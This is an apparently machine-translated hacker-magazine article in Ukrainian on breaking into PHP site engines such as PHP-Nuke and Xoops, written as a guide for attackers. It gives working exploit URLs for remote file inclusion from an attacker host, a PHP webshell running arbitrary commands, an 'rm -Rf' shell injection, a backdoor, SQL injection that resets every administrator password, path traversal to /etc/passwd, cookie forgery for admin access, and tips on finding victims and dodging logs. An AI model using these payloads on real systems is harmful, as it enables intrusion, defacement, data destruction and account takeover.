Що б я не говорив про плюси PHP, принаймні один серйозний недолік у нього точно є: тема злому php-скриптів якось слабо висвітлена в рунеті. Всі тільки кажуть, що це дуже дірявий штука, приводячи тупі аргументи, типу «якщо не перевіряються змінні, вебсервер під рутом, та версія дірявий…» А між тим на php вже перейшло дуже багато сайтів, і багато використовують не оригінальні сценарії, а стандартні рішення, в яких часто проскакують уразливості. Про них, власне кажучи, і піде мова.

Це один з найпопулярніших сайтовых движків з купою можливостей: від постінга статей і новин з можливістю їх обговорення читачами (як на xakep.ru) до автоматизації показу банерів. Про мощі продукту можна судити і за обсягом дитрибутива: архів з останньою версією движка важить… важить… 1.21 mb! А адже там просто скрипти, текстові файли…

Втім, де багато коду, там багато багів. З моменту появи php-nuke в ньому було знайдено стільки дірок, що будь друшляк обзавідуются ;). І уразливості все — як на підбір: тут тобі і DoS, і виконання команд, та ігри з sql-запитами, і отримання прав адміністратора, і виконання будь-якого php-коду…

PHP-nuke

PHP-nuke написав хтось Франциско Бурзи (Francisco Burzi) для новинного проекту

Linux Preview (http://linuxpreview.org).

У далекому 1998 році, коли тільки з’явився проект, він працював на perl-ових скриптах, написаних цим же хлопцем. Але по мірі росту сайту стало очевидно, що скрипти не задовольняють потреб, потрібно щось нове, більш зручне, швидке і функціональне. Оскільки Франциско, як сам стверджує, Perl знав паршиво, він взяв готовий движок Thatware, підучив PHP і наколбасил за 380 годин PHP-nuke, версію першу, і шалено діряву. Так 17 серпня 2000 року з’явився на світ рекордсмен за популярністю, дырявости і функціональності, великий і жахливий PHP-nuke.

За два роки існування движка вийшло безліч версій, проект, треба віддати належне, відмінно підтримується, і, мабуть, Франциско здорово пише на PHP :). Ні, правда, незважаючи на КУПУ дірок, наколбасить ТАКИЙ проект за 380 годин — це круто ;).

URL проекту: phpnuke.org

Уразливі версії: майже все 😉

Діагноз: виконання будь-якого php-коду

Xploit: victim/index.php?file=http://bad.script.php

Описалово: Ну що ж, дірочка під наш размерчік ;). Автор движка пише:

Значення змінної $file перевіряються дуже бідно — на наявність “..”. “/” на початку рядка. Не подумав кодер, що у $file може і повинен у нашому випадку лежати URL на виконуваний PHP-скрипт. Однак не все так просто. Наприклад, коли я тестував баг на winNT+Apache+php3, той не заробив — «Failed opening…», розумієш.

Уся справа в налаштуваннях php — функція «Url fopen wrapper» у мене була відключена (коли я конфигурировал php, за інерцією відрубав всі непотрібні мені опції). На більшості серверів функція включена, так що, швидше за все, проблем у тебе не буде. Але навіть в моєму випадку я з легкістю шарився по диску — $file=c:winntwin.ini. Природно, якщо машина під *nix, таке не пройде — “/” вирізається з початку рядка $file.

Тепер про деструктивному скрипті, про те, що туди записати. Питання філософське, але пару напрацювань я все ж дам:

$a=fopen(“$index.php”, w);

fputs(“$a, «coolsite.url/hack.jpg>

From Siberia with love.

Regardz2: X-crew, Bill Gates and Monica Levintsky’» $a);

?>

Простенько і зі смаком, хоча можна піти далі:

$a=system($command);

echo “$a”;

?>

Цей код, як ти розумієш, виконає на сервері команду з змінної $command.

Наприклад, ось так:

victim/index.php?file=http://hacker/hack.php?command=rm%20-Rf

В PHP є два оператори — require і include, які зчитують і виконують код з вказаного файлу. Завдяки цьому можна створити багаторазово використовувані функції і константи в окремому файлі і викликати їх в інших сценаріях. (Часто для зручності конфігурації сценарію всі його налаштування зберігаються в невеликому скрипті, де їх може легко редагувати не знає мови людина, не боячись пошкодити код основний. Або, скажімо, дуже зручно включати шматки html’я, щоб багаторазово не виписувати одні і ті ж елементи.)

Функції, як бачиш, корисні і для кодерів, і для хакерів ;). У чому різниця між include(); і require();? Вона непомітна, але принципова: require(); просто замінюється під час інтерпретації кодом з вказаного файлу, а include(); обчислює і виконує код в зовнішньому файлі при кожному виявленні оператора include. Це дозволяє використовувати функцію в циклах, що було б неможливим з require. І ще. При виконанні ці функції повертають значення — якщо виникла проблема, то false, якщо все ОК, то true. Різниця в тому, що при виникненні трабла з require сценарій буде зупинено, у разі, якщо використовується include, його виконання продовжиться. Таким чином, require, загалом-то, еквівалентний кодом:

If(!include(file.php))

{ exit; } else {… }

?>

Взагалі, функція system виконує будь-яку команду на сервері, повертаючи результат її виконання. На ній, до речі кажучи, багато багів засновано. Наприклад, для відправки пошти часто використовується ось такий код:

System(«mail $email < text.of.letter.txt»);

Однак, якщо $email має вигляд “–blahundragogo; rm-Rf; lohundra”, то знову відбудеться видалення всіх файлів і підкаталогів щодо цієї директорії.

Дивися сам:

System(«mail -blahundragogo; rm-Rf; lohundra < text.of.letter.txt»);

Тут команда складається з трьох частин:

1) mail -blahundra — неприпустимий прапор до функції mail, ігнорується;

2) rm-Rf — деструктивна функція;

3) lohundra < text.of.letter.txt — теж белиберда.

За моїми відомостями, ця дырень з’явилася в багтраках відносно недавно, і на момент написання статті ніяких патчів випущено не було, а на офіційному сайті лежала дірява версія. До речі, мало не забув. Ця уразливість дозволяє пробэкдорить сервер! Тобто просто створюєш де-небудь далеко-далеко, в далекій директорії файл lala.php, який пишеш, наприклад, ось це:

require($file);

?>

Все ;). Тепер, коли перець пропатчити бажный движок, у тебе буде бекдор, по якому ти зможеш ще разок поїхати сайт;) Правда, недовго він буде працювати — якщо перець не дебіл, то, після другого дефейса, він подивиться логи вебсервера і миттю тебе запалить ;(((. Але завжди залишається шанс, що у нього немає доступу до логів (напише адмінам, пришлють йому логи ;(), або немає мізків.

Уразливі версії: 5.*

Діагноз: можливість виконання майже будь-якого sql-запиту

Xploit: victim/article.php?mainfile=1&sid=1&tid=1&prefix=sql_query

Пошук жертв: файл pollBooth.php або, наприклад, auth.inc.php

Описалово:

У ранніх версіях движка використовувалися статичні імена таблиць (типу messages, authors). Зрозуміло, що їх наявність в базі даних досить імовірно, і щоб уникнути непорозумінь, до імен тепер додається префікс зі змінної $prefix, яка визначається в конфігураційному скрипті config.php. SQL-запит до бази даних в цьому випадку виглядає приблизно так:

mysql_query(«UPDATE $prefix»._stories.” SET

counter=counter+1 where sid=$sid”)

Автор вважає, що $prefix жорстко визначена в тілі скрипта. Наївний ;).

Як бачиш, тут відбувається виклик mainfile.php, який, у свою чергу, викликає конфігураційних файл. Цього нам не треба, нам потрібно, щоб $prefix була вільна, і ми могли туди засунути свій власний запит. Робиться це просто — визначаються змінні $mainfile, $tid, $sid, а в $prefix кладеться запит (функція isset(); використовується для з’ясування важливого факту — визначена якась змінна, тобто, наприклад, заповнив користувач якесь поле). Що сунути в $prefix? Ну, наприклад, ось це: authors set pwd=’coolpass’; update nuke.

Таким чином, виконується запит буде наступним:

UPDATE authors set pwd=’coolpass’; update nuke_stories SET counter=counter+1 where sid=$sid”), що поміняє паролі всіх адміністраторів «coolpass».

Уразливі версії: *.*

Діагноз: виконання коду на стороні клієнта

Xploit: Http://www.hackerdrom.f2s.com/hack.php #сюди я завантажу файл, заодно #порахую, скільки народу ним зацікавилося 😉

Пошук жертв: файл pollBooth.php, або, наприклад, auth.inc.php

Описалово:

CSS — Cross Site Scripting. Це цілий клас уразливостей у дошках оголошень, форумах, html-чатах і т. п. Вразливі скрипти дозволяють виконати JavaScript код (будь-код, що вбудовується в HTML) на машині клієнта — дивака, який читає мессагу в форумі, наприклад. Що це дає? По суті — нічого. Хоча, звичайно, завжди залишається шанс поприколюватися, накрутити банерних показів, повісити комусь машину, попсувати реєстри, форматнуть пару-трійку HDD ;). Все залежить від твоєї фантазії і кількості доків по javascript. Працюють всі дірки однаково: дехто дещо належним чином не перевірив, тому я обмежуся тим, що наведу шляху эксплоитинга. Їх ти знайдеш у текстовому файлі, злити який можна за вищенаведеним до у. У різних версіях php-nuke різні діри, але я зібрав у файл абсолютно всі шляхи експлоїта — для всіх існуючих версій ;).

(До речі, я зараз готую матеріал про дві часто використовувані технології злому скриптів: CSS і SQL-injection, в якому розповім, як зробити все вищеописане.) 😉

Це теж site engine, але, як мені здалося, значно слабший. І функціонально, і в області security — більш тупих дірок я, мабуть, не зустрічав. Програмісти славно потрудилися над створенням небезпечних вразливостей — дозволили читати файли і адмініструвати сайт абсолютно всім рідерам Х :).

Читаємо файл

Уразливі версії: 0.4.02 (остання)

Діагноз: читання файлів на сервері

Xploit: victim/index.php?l=../../../etc/passwd

Пошук жертв: файл /lang/Englign/config

Описалово: Мда… дірочка стара як світ, а ось програміст про неї чомусь не подумав. Ну що ж, отримуй ;).

Читаємо будь-який файл, доступний користувачу. Наприклад, можна прочитати конфігураційний скрипт і вивудити звідти пароль до БД, який може збігтися з паролем на FTP-сервер з сайтом, і так далі. Уяви собі, що перевірка змінної $l на “..” ВЗАГАЛІ відсутня. Це мене дуже засмутило — ну не вмієш писати, не пиши. Ні, лізуть, та ще й виставляють свої творіння на загальний огляд — незрозуміло, навіщо?

Админим 😉

Уразливі версії: 0.4.02 (остання)

Діагноз: отримання прав адміністратора

Xploit: cookie access=ok

Описалово: Чесно кажучи, коли я вичитав про цей баг, я іржав хвилин п’ять, після чого знову засумував. Це ж скільки і чого треба випити, щоб ідентифікувати адміністратора по cookie «access» із значенням «ok» :)? Ні, якби це був приватний, оригінальний сценарій — куди не йшло, адже дізнатися про ба можна лише подивившись його код, зовні не докопаешься. Але ж сорсы проекту викладені на сайті, тому знайти цю тупість — п’ятихвилинне справа. Дивися сам:

Тут, правда, постає «проблема» з підробкою cookie — адже якщо ти повісиш плюшку на іншому сервері, не на те, куди ломишся, то нічого не вийде — кукіси доступні тільки тим хостам, звідки вони були повішені. Але це тільки по ідеї — cookies підробляються, притому елементарно — ручним редагуванням ;). Тобто вешаешь собі булочку з будь-якого хоста, відкриваєш її текстовим редактором і правив там хост.

Xoops — черговий дірявий движок, досить, як мені здалося, функціональний, тому досить поширений ;). Дір я в ньому знайшов не так вже й багато — по-перше, продукт зовсім молодий, а по-друге, програмісти думали про security при його написанні, хоча, як видно, недовго.

Хакаем SQL

Уразливі версії: Xoops RC1

Діагноз: виконання SQL — запиту

Xploit: victim/userinfo.php?uid=77 drop *

Пошук жертв: файл userinfo.php

Описалово: В скрипті userinfo.php відсутня перевірка на спецсимволи у змінній $uid, яка використовується в SQL-запиті, що дозволяє досхочу пограти з sql-запитами, модифікуючи або видаляючи дані ;).

Весело? Поїхали!

Якщо поставити в $uid «7545$», то PHP відрапортує про помилку:

-відрізане-

MySQL Query Error: SELECT u.*, s.* FROM x_users u, x_users_status s WHERE
u.uid=7545$ AND u.uid=s.uid

Error number:1064

Error message: You have an error in your SQL syntax near ‘; AND u.uid=s.uid’ at line 1

-відрізане-

Це здорово допомагає — ти бачиш, як влаштований sql-запит, що дозволяє досхочу відтягнутися ;)! Ну, наприклад… ось так:

$uid =2; update x_users password=’coolpass’; select * x_from users where uid=’1′

Тепер відправляється SQL-запит виглядає ось так:

SELECT u.*, s.* FROM x_users u, x_users_status s WHERE

u.uid=2; update x_users password=’coolpass’; select * x_from users where uid=’1′

AND u.uid=s.uid

Ясна річ, що замість «update x_users…» може стояти БУДЬ-який sql-запит, права на виконання якого є у поточного sql-ного юзера.

Цей абзац присвячений тим, хто НЕ ЗНАЄ, як шукати вразливі сайти. Якщо ти не з їх числа — пропускай ці рядки, нічого не втратиш. Отже… Почнемо з азів… Що таке сценарій? Крім виконується на стороні сервера програми, це просто файл. І як всякий файл, який працює в сайті, гіперпосилання на нього ведуть з інших сторінок.

Тепер давай згадаємо, як працюють пошукові системи. Людина реєструє сайт, його URL заноситься в базу даних, звідки розумна програма-бот вибирає адреси і йде за ним, скануючи структуру сайтів. Вона сканує її, насамперед, ходячи по посиланнях, починаючи з початкової сторінки. Таким чином, весь текст на САЙТІ — сукупності сторінок, об’єднаних гіперпосиланнями, — заноситься в базу даних пошукового сервера, звідки робиться вибірка в процесі пошуку введеного користувачем тексту.

В базу даних заноситься як тест на сторінці, так і назва файлу — це якраз те, що нам потрібно. Тепер, якщо, наприклад, у людини на сайті є файл mainfile.php і на нього варто гіперпосилання, то він автоматом потрапляє в БД при індексації сайту.

Таким чином, для пошуку жертви досить набрати в пошуковику ім’я уразливого скрипта. Ще часто використовують спеціальні сканери, які, подібно боту пошукової системи, перевіряють задані ДО и на наявність конкретного сценарію, або групи скриптів. Зрозуміло, що подібне сканування з діалапу або при платному трафік — безмазовое заняття, так що краще довірся альтавіста ;). Взагалі, цими сканерами користуються, коли працюють над конкретним сайтом — береться лист з п’ятьма тисячами дірявих скриптів, і так за ніч він прокручується — в цьому розкладі таке сканування виправдано.